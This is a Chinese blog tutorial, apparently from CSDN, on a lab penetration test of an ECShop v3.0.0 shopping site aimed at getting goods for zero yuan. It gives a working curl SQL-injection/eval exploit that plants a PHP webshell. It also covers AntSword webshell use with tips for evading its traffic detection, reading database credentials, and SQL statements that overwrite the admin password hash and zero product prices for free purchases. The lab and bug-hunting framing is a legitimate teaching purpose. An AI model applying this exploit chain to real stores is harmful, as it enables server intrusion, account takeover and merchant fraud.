第005文-模拟入侵网站实现0元购

1、部署导入靶场,部署购物网站

首先在虚拟机中新增一个centos虚拟机,在上面部署一套完整的购物网站,使用mysql数据库,访问端口是80。这个新增的centos虚拟机就是我们的靶场。购物网站在网上随便找一套开源的部署即可。

2、在网站里注册新账号

在上面这个位置点击注册,按照正常网站的账号注册流程,注册一个个人的账号,

普通开源的商城注册很简单,成功后进入用户中心看看,

在这里需要加上自己的收货地址,

我们要实现的功能就是给这个新注册的用户增加红包,然后购物用红包付款,实现0元购。

注意,这样做的目的不是为了渗透,而是模拟渗透,查找软件漏洞!!

3、收集信息,寻找漏洞

前面已经准备好了靶场(centos虚拟机),商城,和新注册的账号,现在可以开始了,假设我现在要渗透寻找这个网站的漏洞,我肯定知道这个网站的网址,我也有一个新注册的账号,但是我肯定不知道这个网站的服务器ip和账号,这些是前提条件。

介绍一个kali上面的命令,arp-scan  ,

arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。

执行 ,

arp-scan -l 

可以扫描本地局域网中的所有设备,

因为我们的vmware本身打开了两个虚拟机,一个是kali,另一个就是我们的靶场,也就是centos,这个命令需要在kali里面执行,那么centos显示的信息肯定包含vmware,

可以看到这个记录正是靶场的ip,感兴趣的还可以给这个ip设置一个hosts域名,这里不再演示。这里我们直接用ip访问商城即可。

下一步用到前面用过的一个命令,whatweb,

WhatWeb是一款强大的Kali系统自带的web指纹探测工具。它能识别网站技术,包括内容管理系统、博客平台、统计分析包、JavaScript库、网络服务器和嵌入式设备。WhatWeb拥有超过900个插件,能识别各种细节信息,如版本号、电子邮件地址、帐户ID、web框架模块、SQL错误等。

从返回的信息中,看到了使用的apache版本,使用的开源项目是ECShop,同时也返回了它的版本,后面还有开发语言php的版本等等,这些都是很危险的信息。fofa上搜索这个开源项目,加上版本号,也能发现还是有很多其他商城在用这一套东西。

4、寻找漏洞,开始渗透测试

前面通过信息收集,知道了网站使用的是开源项目ECShop,版本是v3.0.0,知道了这种关键信息之后,通过百度就能看到很多出现过的漏洞,

这里我们使用一行命令作为一个木马。首先,网站个人中心的地址是,

http://192.168.3.81/user.php

我们使用的一行命令是,

curl http://192.168.3.81/user.php \
-d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \
-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
执行结果返回如下,
一个{和一个$ 说明执行是成功的。
curl是web请求命令,它可以对页面地址和接口地址发起请求,返回页面代码或者接口结果。
其中-H 参数是设置请求头,-d参数是将数据以POST请求的方式发送到服务器,这是向服务器提交数据的一种常见方式,常用于表单提交、上传文件等场景。
上面的命令中,关键信息是  
base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));
这是一个base64加密的字符串,我们来解码一下看看,
从结果看,它会上传一个文件,vulnspy.php,后面意思是它会接收一个请求参数 vulnspy,如果没有参数,vulnspy可以作为一个密码用。
这个时候,我们就把这个一句话的木马传到网站上了,接下来使用蚁剑连接,

蚁剑(AntSword)是一款功能强大的跨平台渗透测试工具,被广泛用于攻击和渗透测试活动。以下是蚁剑的一些流量特征:

流量特征主要表现在数据包的加密方式和数据类型。蚁剑使用了AES加密算法对数据进行加密,同时还使用了自定义的二进制协议,在通信中传输各种类型的数据
默认的USER-agent请求头 是 antsword xxx,但是 可以通过修改:/modules/request.js 文件中 请求UA绕过。
其中流量最中明显的特征为@ini_set("display_errors","0")、@set time limit (0) 这段代码基本是所有webshe11客户端链接PHP类Webshe11都有的一种代码 。
蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“0x加密后”“这种形式(下划可换》,所以以-0x开头的参数也很可能就是恶意流量。

和蚁剑类似的还有菜刀,冰蝎,哥斯拉等工具。准备好三个文件上传到kali上面,
前两个是蚁剑,后面是webshell2版本,接下来使用unzip把这三个都解压出来。
进入AndSword-Loader的目录,
第一个是一个AntSword执行文件,执行一下,
会弹出来蚁剑的页面,点击初始化,弹出目录窗口,
接下来要找到 antSword-master 目录,打开这个目录后,点击ok,
然后可以看到初始化,完成的过程,最后窗口自动关闭。
这时候需要手动再次重启一下,
现在蚁剑算是起来了,接下来在空白窗口地方右击,选择添加数据,
其中url写购物网站的网址,192.168.3.81,注意地址后面写上上面的curl请求中上传的文件,因此完整地址是,
http://192.168.3.81/vulnspy.php
密码写上面的curl请求中,base64翻译过来后,发送的请求中的密码 vulnspy ,写好后,点击上面的测试连接按钮,
提示连接成功,然后点击添加就可以了。
有了这个连接,就能做很多事情,在连接上右击,
可以打开终端,可以打开文件管理,等等。
现在左键双击这个连接,
直接来到了服务器里面,左侧当前目录就是网站的根目录,里面有php写的各个页面。
上面执行的curl命令可以说是在命令里面夹杂着一个小的木马,能够让我们通过蚁剑连上目标网站的服务器,接下来使用真正准备好的木马,也就是刚才上传的准备好的文件中的webshell2.php文件,
比如上传到网站根目录下的temp目录,
选择目录后,直接在右侧空白处右键选择上传文件,
这个文件就是个php页面,上传成功后应该就可以访问了,

5、查找配置信息,连接数据库

这里让输入密码,这个密码是在上传文件里设置好的,叫  xuegod  ,输入登录后,
这个窗口是真正渗透后要的窗口,这里能干的事非常多,看上面这一行,
能文件管理,能连接管理数据库,能上传下载数据库,包括php的变量,代码,备份连接都有。
下面点击MySQL Manager 连数据库,
这里缺少数据库的链接信息,这些配置可以去网站根目录下找配置文件在哪,
最终在data目录下有个配置文件,
打开config.php,可以看到网站项目的配置信息,
这里可以看到,有完整的db连接信息。把信息替换到上面的MySQL Manager里面,就能连接上数据库,
注意:这里使用的是虚拟机靶场,可以随意操作,修改数据删除数据都可以,真实环境为了做渗透测试的时候,一定要注意,不要做危险的事情,我们主要的目标是做渗透测试,寻找漏洞!
从页面上的信息看,一共有92张表,
有名字里带user的用户表,带goods的商品表,等等。这些可以慢慢熟悉。

6、给自己账户发红包,实现0元购

首先,找到网站管理员账户,修改管理员密码,然后以管理员身份登录。
第一步,查看管理员用户账户表,
注意这两个字段,
密码是md5的哈希值,不是明文,并且还加了盐(ec_salt),这里的原始密码哈希值,
adac02b082397ce086d2c5d97932c6a3 
首先要记下来,方便后面恢复,接下来自己定义一个简单的密码,比如 123456 ,把这个简单密码的哈希值替换掉这个password的值,通过这样的方法就能做到修改密码,具体执行如下两个命令,
修改后的密码就是,
662ce5e53b8621060f2ced9cc33f0093
接下来执行update语句
update xo_admin_user set password='662ce5e53b8621060f2ced9cc33f0093' where user_id=1
前面刚开始注册新用户的时候注册的是前端商城的用户,现在要用这个admin给注册的用户发红包,就要登录后端管理后台,我们来用dirb来扫描一下网站有哪些路径,
dirb http://192.168.3.81
可以根据意思一个个试,最后发现,第一个,
http://192.168.3.81/admin
就是管理后台的的登录地址,
接下来我们输入账号  admin/123456  来登录后台,登录成功,
下一步,在促销管理中的红包类型中,先加一个红包类型,
接下来点击发放,
搜索选择自己注册的用户,发放红包,
然后用注册的用户登录,就可以看到这个红包,
接下来就可以去购物了,随便选择一个商品,然后付款,
可以看到选择红包后,实现了0元购。

7、修改商品价格,实现0元购

先来看一下当前产品的价格,
我们来修改这个,
然后更新一个商品的价格为0(原来价格是12000.00),
update xo_goods set shop_price=0,market_price=0,promote_price=0 where goods_id=137
一会恢复价格的sql是,
update xo_goods set shop_price=12000.00,market_price=14400.00,promote_price=0.00 where goods_id=137
购买也成功,
这就是通过发红包和修改价格两种方式实现0元购。
这里修改价格比较粗暴,市场价,店内价格,促销价都改了,如果不想显得那么突兀,可以只改结算时用到的价格即可。

8、恢复数据

恢复价格数据,
update xo_goods set shop_price=12000.00,market_price=14400.00,promote_price=0.00 where goods_id=137
恢复管理员的密码,
update xo_admin_user set password='adac02b082397ce086d2c5d97932c6a3' where user_id=1

9、挖掘漏洞如何赚钱

  • CTF完全专题挑战赛-有奖金
  • 挖漏洞赚取报酬
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值